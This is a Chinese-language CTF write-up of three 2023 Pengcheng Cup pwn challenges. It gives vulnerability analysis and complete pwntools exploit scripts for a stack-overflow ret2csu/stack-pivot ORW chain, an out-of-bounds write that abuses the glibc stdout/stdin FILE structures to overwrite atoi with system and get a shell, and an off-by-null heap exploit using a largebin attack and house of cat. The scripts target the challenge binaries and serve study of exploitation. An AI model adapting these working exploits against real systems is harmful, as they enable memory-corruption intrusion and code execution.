2023 鹏程杯

news2024/11/19 1:23:50

前言

笔者没有参加此次比赛,由于团队后面会复现此次比赛,所以笔者在此进行复现记录。

silent

考点: 栈溢出 + ret2csu + 栈迁移

保护: 开了 Full RELRO 和 NX, 禁掉了 execve/execveat 系统调用

漏洞分析

一个裸的栈溢出, 但是没有输出函数可以泄漏 libc. 并且由于 Full RELRO 也无法 ret2dl

这里就得考虑去寻找一个 libc 地址然后利用特殊的 gadget 去构造一个 write 函数.最后配合 csu 进行利用.

这里我并没有找到可用的 gadget, 但是在网上看别人找到了一条:

0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

而在 libc_csu_init 中是可以很方便的控制 rbp 和 ebx 的:

而 bss 段上的 stdin/stdout 里面存放的就是 _IO_2_1_stdin_/_IO_2_1_stdout_, 其就是一个 libc 地址. 这里选择修改 stdout, 当然修改 stdin 也行, 注意 stdin 不会影响 read 函数, 因为 read 是直接走的系统调用.

漏洞利用

先利用 magic_gadget 配合 csu 去修改 stdout 为 write 函数. 然后再利用 csu 调用 write 函数泄漏 libc, 后面就是栈迁移 orw 了.

exp 如下: libc版本: 2.27-3ubuntu1.5_amd64

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

bss = 0x0000000000601040
stdout = 0x0000000000601020
pop_rdi = 0x0000000000400963 # pop rdi ; ret
pop_rbp = 0x0000000000400788 # pop rbp ; ret
csu_f = 0x000000000040095A
csu_e = 0x0000000000400940
read_got = 0x0000000000600FE0
magic_gadget = 0x00000000004007e8 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
#write_offset = libc.sym.write - libc.sym._IO_2_1_stdout_
write_offset = 0xFFFFFFFFFFD23990
stdout_offset = 0x2dc670
leave_ret = 0x00000000004008FC
libc_pop_rdi = 0x000000000002164f # pop rdi ; ret
libc_pop_rsi = 0x0000000000023a6a # pop rsi ; ret
libc_pop_rdx = 0x0000000000001b96 # pop rdx ; ret
libc_pop_rax = 0x000000000001b500 # pop rax ; ret
libc_syscall = 0x000000000013FF57 # syscall ; ret

#gdb.attach(io, "b *0x00000000004008F7")

def csu(call_addr, rdi, rsi, rdx, ret_addr, rbx, rbp):
        payload  = p64(0) + p64(1)
        payload += p64(call_addr) + p64(rdi) + p64(rsi) + p64(rdx)
        payload += p64(csu_e) + p64(0)
        payload += p64(rbx) + p64(rbp) + p64(0)*4 + p64(ret_addr)
        return payload

pay  = b'A'*0x48
pay += p64(csu_f) + csu(read_got, 0, bss+0x400, 0x300, magic_gadget, write_offset, stdout+0x3d)
pay += p64(pop_rbp) + p64(bss+0x400-0x8) + p64(leave_ret)
sl(pay)
#pause()

pay  = p64(csu_f) + csu(stdout, 1, read_got, 8, csu_f, 0, 0)
pay += csu(read_got, 0, bss+0x400+0x300, 0x400, leave_ret, 0, bss+0x400+0x300-0x8)
print("pay_len:", hex(len(pay)))
sleep(0.01)
sl(pay)

#pause()
read_addr = addr8(8)
libc.address = read_addr - libc.sym.read
libc_pop_rdi += libc.address
libc_pop_rsi += libc.address
libc_pop_rdx += libc.address
libc_pop_rax += libc.address
libc_syscall += libc.address
info("read_addr", read_addr)
info("libc_base", libc.address)

#pause()
pay  = p64(pop_rdi) + p64(bss+0x400+0x400) + p64(libc_pop_rsi) + p64(0) + p64(libc_pop_rax) + p64(2) + p64(libc_syscall)
pay += p64(pop_rdi) + p64(3) + p64(libc_pop_rsi) + p64(bss+0x400+0x400) + p64(libc_pop_rdx) + p64(0x20) + p64(libc.sym.read)
pay += p64(pop_rdi) + p64(1) + p64(libc_pop_rsi) + p64(bss+0x400+0x400) + p64(libc_pop_rdx) + p64(0x20) + p64(libc.sym.write)
#pay += p64(csu_f) + one_csu(stdout, 1, bss+0x400+0x400, 0x20, pop_rdi+1)
print("pay_len:", hex(len(pay)))
pay  = pay.ljust(0x100, b'\x00') + b'./flag.txt\x00'
sleep(0.01)
sl(pay)

#pause()
sh()

atuo_coffee_sale_machine

考点: 数组越界 + stdout泄漏libc + stdin任意写 (但看其他人的wp好像是UAF?难道这个是非预期)

保护: 开了 Canary 和 NX

漏洞分析

漏洞在 change_default() 函数中:

可以看到这里用的是 || 而不是 &&, 所以很明显的数组越界了.

漏洞利用

先利用数据越界修改 _IO_2_1_stdout_ 进行 libc 泄漏.

然后再修改 _IO_2_1_stdin_ 进行任意地址写修改 atoi@got 为 system

最后输入 sh 即可 getshell

这里之所以能够利用 _IO_2_1_stdin_ 进行任意写是因为在 sell 函数中存在 getchar():

所以我感觉不是非预期, 不然其他地方全是 read, 为啥这里偏偏来个 getchar 呢? getchar 每次会从输入缓冲区读一个字节数据即将_IO_read_ptr加一,当_IO_read_ptr等于_IO_read_end的时候便会调用read读数据到_IO_buf_base地址中.

对于 _IO_2_1_stdin_ 进行任意写需要满足以下条件:

  • _IO_buf_base = target_start_addr

  • _IO_buf_end = target_end_addr

  • _IO_read_ptr = _IO_read_end

  • _flags & ~4

  • _fileno = 0

exp 如下: libc版本: GLIBC 2.31-0ubuntu9.9

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>>>'

def go_admin():
        sla(menu, b'4421')
        sla(b'password', b'just pwn it')

def change(idx, num, data):
        sla(menu, b'2')
        sla(menu, byte(idx))
        sla(menu, byte(num))

        sda(b'content', data)

go_admin()
pay = p64(0xfabd1800) + p64(0)*3 + b'\x00'
change(1, -31, pay)
rut(b'\n')
rc(8)
libc.address = addr8(8) - 0x1ec980
info("libc_base", libc.address)

pay = p64(0xfbad208b&(~4)) + p64(0)*6 + p64(0x0000000000406068) + p64(0x0000000000406068+8)
change(1, -29, pay)

sla(menu, b'3')
sla(menu, b'1')
sla(b'buy', b'1')
sla(b'Y/N', b'N'+p64(libc.sym.system))
sla(menu, b'sh')
sla(menu, b'sh')

#debug()
sh()

babyheap

考点: off by null

保护全开

比较简单, 限制了堆块的大小在[0x400,0x500]之间, 然后有增删查改的功能.

白给的 off by null, 然后题目给 libc 是 2.38 的, 但是我懒得配环境, 所以用到 2.35 的, 但是区别不大.

漏洞利用

off by null 打前向 unlink 构造堆重叠, 然后UAF打largebin_attack, 最后直接 house of cat

注: 这里 one_gadget 因为 rbp 的问题打不通, 具体可自行调试. 所以最后直接打的 orw

exp 如下: GLIBC 2.35-0ubuntu3.

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>> '
def add(size, data):
        sla(menu, b'1')
        sla(b'size', byte(size))
        sda(b'name', data)

def edit(idx, size, data):
        sla(menu, b'2')
        sla(b'index', byte(idx))
        sla(b'size', byte(size))
        sda(b'name', data)

def show(idx):
        sla(menu, b'3')
        sla(b'index', byte(idx))

def dele(idx):
        sla(menu, b'4')
        sla(b'index', byte(idx))

#gdb.attach(io, 'b *$rebase(0x00000000000019AE)')
rut(b"easier\n")
heap_base = int(rut(b"\n"), 16) - 0x2a0
info("heap_base", heap_base)

pay  = p64(0) + p64(0xc71+0x410) + p64(heap_base+0x2b0+0x10)*2 + b'\n'
add(0x428, pay)    # 0
add(0x428, b'A\n') # 1
add(0x408, b'A\n') # 2
add(0x418, b'B\n') # 3
add(0x4F8, b'C\n') # 4
add(0x428, b'D\n') # 5

dele(3)
add(0x418, b'A'*0x410+p64(0xc70+0x410))
dele(4)
add(0x418, b'A\n')

show(1)
rut(b'\n')
libc_base = addr8(6) - 0x219ce0
_IO_list_all = libc_base + 0x21a680
info("libc_base", libc_base)
info("_IO_list_all", _IO_list_all)

add(0x428, b'X\n') # 6
add(0x408, b'\nX') # 7
add(0x418, b'E\n') # 8
add(0x4F8, b'X\n') # 9
dele(6)
add(0x438, b'X\n') # 10
dele(8)

pay = p64(libc_base+0x21a0d0)*2 + p64(heap_base+0x6e0) + p64(_IO_list_all - 0x20)
edit(1, 0x30, pay+b'\n')
add(0x4F8, b'X\n')

"""
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
0xebcf5 execve("/bin/sh", r10, rdx)
0xebcf8 execve("/bin/sh", rsi, rdx)
"""

ones = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
ones = [libc_base+i for i in ones]
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x000000000011f497 # pop rdx ; pop r12 ; ret

# house of cat
_IO_wfile_jumps = libc_base + 0x2160c0
pay  = p64(0)*2 + p64(1) + p64(2)
pay  = pay.ljust(0x90, b'\x00') + p64(heap_base+0xf20+0x100)
pay  = pay.ljust(0xb0, b'\x00') + p64(1)
pay  = pay.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps+0x30)
pay  = pay.ljust(0x108, b'\x00') + p64(1) + p64(heap_base+0xf20+0x280)
pay  = pay.ljust(0x1d0, b'\x00') + p64(heap_base+0xf20+0x200)
pay  = pay.ljust(0x208, b'\x00') + p64(libc_base+libc.sym.setcontext+61)
pay  = pay.ljust(0x240, b'\x00')
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0xf20+0x340) + p64(pop_rdx) + p64(0x20) + p64(0) + p64(libc_base+libc.sym.read)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0xf20+0x340) + p64(pop_rdx) + p64(0x20) + p64(0) + p64(libc_base+libc.sym.write)
pay  = pay.ljust(0x270+0x68, b'\x00') + p64(heap_base+0xf20+0x400) + p64(0) + p64(0)*2
pay  = pay.ljust(0x270+0xa0, b'\x00') + p64(heap_base+0xf20+0x250) + p64(libc_base+libc.sym.open)
pay  = pay.ljust(0x3F0, b'\x00') + p64(0x7478742e67616c66);
print("pay len:", hex(len(pay)))
edit(3, len(pay)+2, pay+b'\n')

sla(menu, b'5')
#pause()
#debug()
sh()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1226120.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL进阶_8.数据库其他调优策略

文章目录 第一节、数据库调优的步骤1.1、选择合适的DBMS1.2、优化表设计1.3、优化逻辑查询1.4、优化物理查询1.5、使用 Redis 或 Memcached 作为缓存1.6、库级优化 第二节、优化MySQL服务器第三节、优化数据库结构 第一节、数据库调优的步骤 1.1、选择合适的DBMS 如果对事务性…

C++基础从0到1入门编程(三)

系统学习C 方便自己日后复习,错误的地方希望积极指正 往期文章: C基础从0到1入门编程(一) C基础从0到1入门编程(二) 参考视频: 1.黑马程序员匠心之作|C教程从0到1入门编程,学习编程不再难 2.系统…

腾讯云服务器带宽计费模式_按流量和带宽收费说明

腾讯云服务器带宽计费模式分为“按带宽计费”和“按使用流量”两种计费模式:按带宽计费是预付费,一次性购买固定带宽值,先付费;按使用流量计费是先使用后付费,根据云服务器公网出方向实际产生流量来计算。如何选择带宽…

腾讯云CVM服务器标准型/高IO/计算/大数据使用场景及选择说明

腾讯云CVM服务器多种机型使用场景说明,如标准型、内存型、高 IO 型、计算型、大数据型、异构型和批量型,腾讯云百科txybk.com分享不同CVM实例规格配置适合使用场景说明: 腾讯云CVM云服务器 标准型:适合中小型 Web 应用、中小型数据…

腾讯云服务器价格计算器真心好用,推荐给大家!

腾讯云服务器价格计算器可以一键计算出云服务器的精准报价,包括CVM实例规格价格、CPU内存费用、公网带宽收费、存储系统盘和数据盘详细费用,腾讯云百科txybk.com分享腾讯云价格计算器链接入口、使用方法说明: 腾讯云服务器价格计算器 打开腾…

大模型是怎么知道 “我赚了200万” 的?

今天在和 chatGPT 聊天时,我说“我赚了200万”,他立刻就根据这句话给我了一句。 我当然没有赚到200万,只是想引出一个话题:“大模型是如何识别出这句话,又是怎么知道该回答什么的呢?" 在学习自然语言…

Linux(4):Linux文件与目录管理

目录与路径 相对路径在进行软件或软件安装时非常有用,更加方便。利用相对路径的写法必须要确认目前的路径才能正确的去到想要去的目录。 绝对路径的正确度要比相对路径好,因此,在写程序(shell scripts)来管理系统的条…

苍穹外卖项目笔记(3)——员工管理

前言 这些功能都没有展示对应的测试结果,可自行通过接口文档进行测试,也可以进行前后端联调测试,附代码链接:take-out 1新增员工 1.1 需求分析和设计 产品原型 接口设计 【注】code:操作成功返回1,否则…

腾讯云服务器云硬盘存储三副本消除单点故障

腾讯云服务器造可靠性处于业界领先水平的云服务器,云服务器CVM可靠性单实例99.975%,数据可靠性99.9999999%,云硬盘采用三副本专业存储策略,消除单点故障,保证数据可靠性,腾讯云百科txybk.com分享腾讯云服务…

【数据挖掘 机器学习 | 时间序列】时间序列必备工具箱: 自相关与偏相关检验

🤵‍♂️ 个人主页: AI_magician 📡主页地址: 作者简介:CSDN内容合伙人,全栈领域优质创作者。 👨‍💻景愿:旨在于能和更多的热爱计算机的伙伴一起成长!!&…

Windows10 MYSQL Installer 安装(mysql-installer-community-5.7.19.0.msi)

分类 编程技术 1.进入官网找到自己所需的安装包:https://dev.mysql.com/ ,路径:DOWNLOAD-->MYSQL Community Edition(GRL)-->MYSQL on Windows (Installer & Tool) 或直接点击 MySQL :: Download MySQL Installer 查看最新版本。…

linux在非联网、无网络环境下,使用yumdownload、reportrack方法安装rpm包

文章目录 前言1、下载yum-utils​​2、yumdownloader3、repotrack4、区别:总结 前言 当开发者在联网环境下使用Linux时,可以轻松地通过yum或apt-get安装软件。然而,在公司和企业中,由于安全原因,生产环境通常无法访问…

【Maven教程】(十一):使用 Maven 构建 Web应用 —— 使用 jetty-maven-plugin 进行测试、使用 Cargo 实现自动化部署~

Maven 使用 Maven 构建 Web应用 1️⃣ Web 项目的目录结构2️⃣ account-service2.1 account-service的 POM2.2 account-service 的主代码 3️⃣ account-web3.1 account-web 的POM3.2 account-web 的主代码 4️⃣ 使用 jetty-maven-plugin 进行测试5️⃣ 使用 Cargo 实现自动…

永久关机windows系统自动更新

1、打开cmd执行 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v FlightSettingsMaxPauseDays /t reg_dword /d 3000 /f2、设置,打开windows更新高级选项 修改暂停日期,可长达十年。 3、你小子

振南技术干货集:CPU,你省省心吧!(2)

注解目录 1、石油测井仪器 1.1 背景知识 (了解一下石油行业。石油到底是怎么找到的?) 1.2 测井数据采传的实现 1.2.1 最直接的初级方案 1.2.2 加入 DMA 的优化方案 (看看一般工程师与高手在技术实现上到底有什么区别。充分…

[Linux] PXE批量装机

一、PXE批量装机简介 1.1 常见的三种系统安装方式 u启动安装:在U盘中下载相关的安装系统及镜像文件,u盘插机安装 光驱安装:将带有所需系统的光盘放进电脑服务器中,按照官方引导装机 网络下载安装:在网上下载相关镜…

【数据挖掘 机器学习 | 时间序列】时间序列必学模型: ARIMA超详细讲解

🤵‍♂️ 个人主页: AI_magician 📡主页地址: 作者简介:CSDN内容合伙人,全栈领域优质创作者。 👨‍💻景愿:旨在于能和更多的热爱计算机的伙伴一起成长!!&…

获取文章分类详情

CategoryController GetMapping("/detail")public Result<Category> detail(Integer id){Category c categoryService.findById(id);return Result.success(c);} CategoryService //根据id查询分类信息Category findById(Integer id); CategoryServiceImpl …

谈谈 MySQL 事务隔离级别

程序员的公众号&#xff1a;源1024&#xff0c;获取更多资料&#xff0c;无加密无套路&#xff01; 最近整理了一份大厂面试资料《史上最全大厂面试题》&#xff0c;Springboot、微服务、算法、数据结构、Zookeeper、Mybatis、Dubbo、linux、Kafka、Elasticsearch、数据库等等 …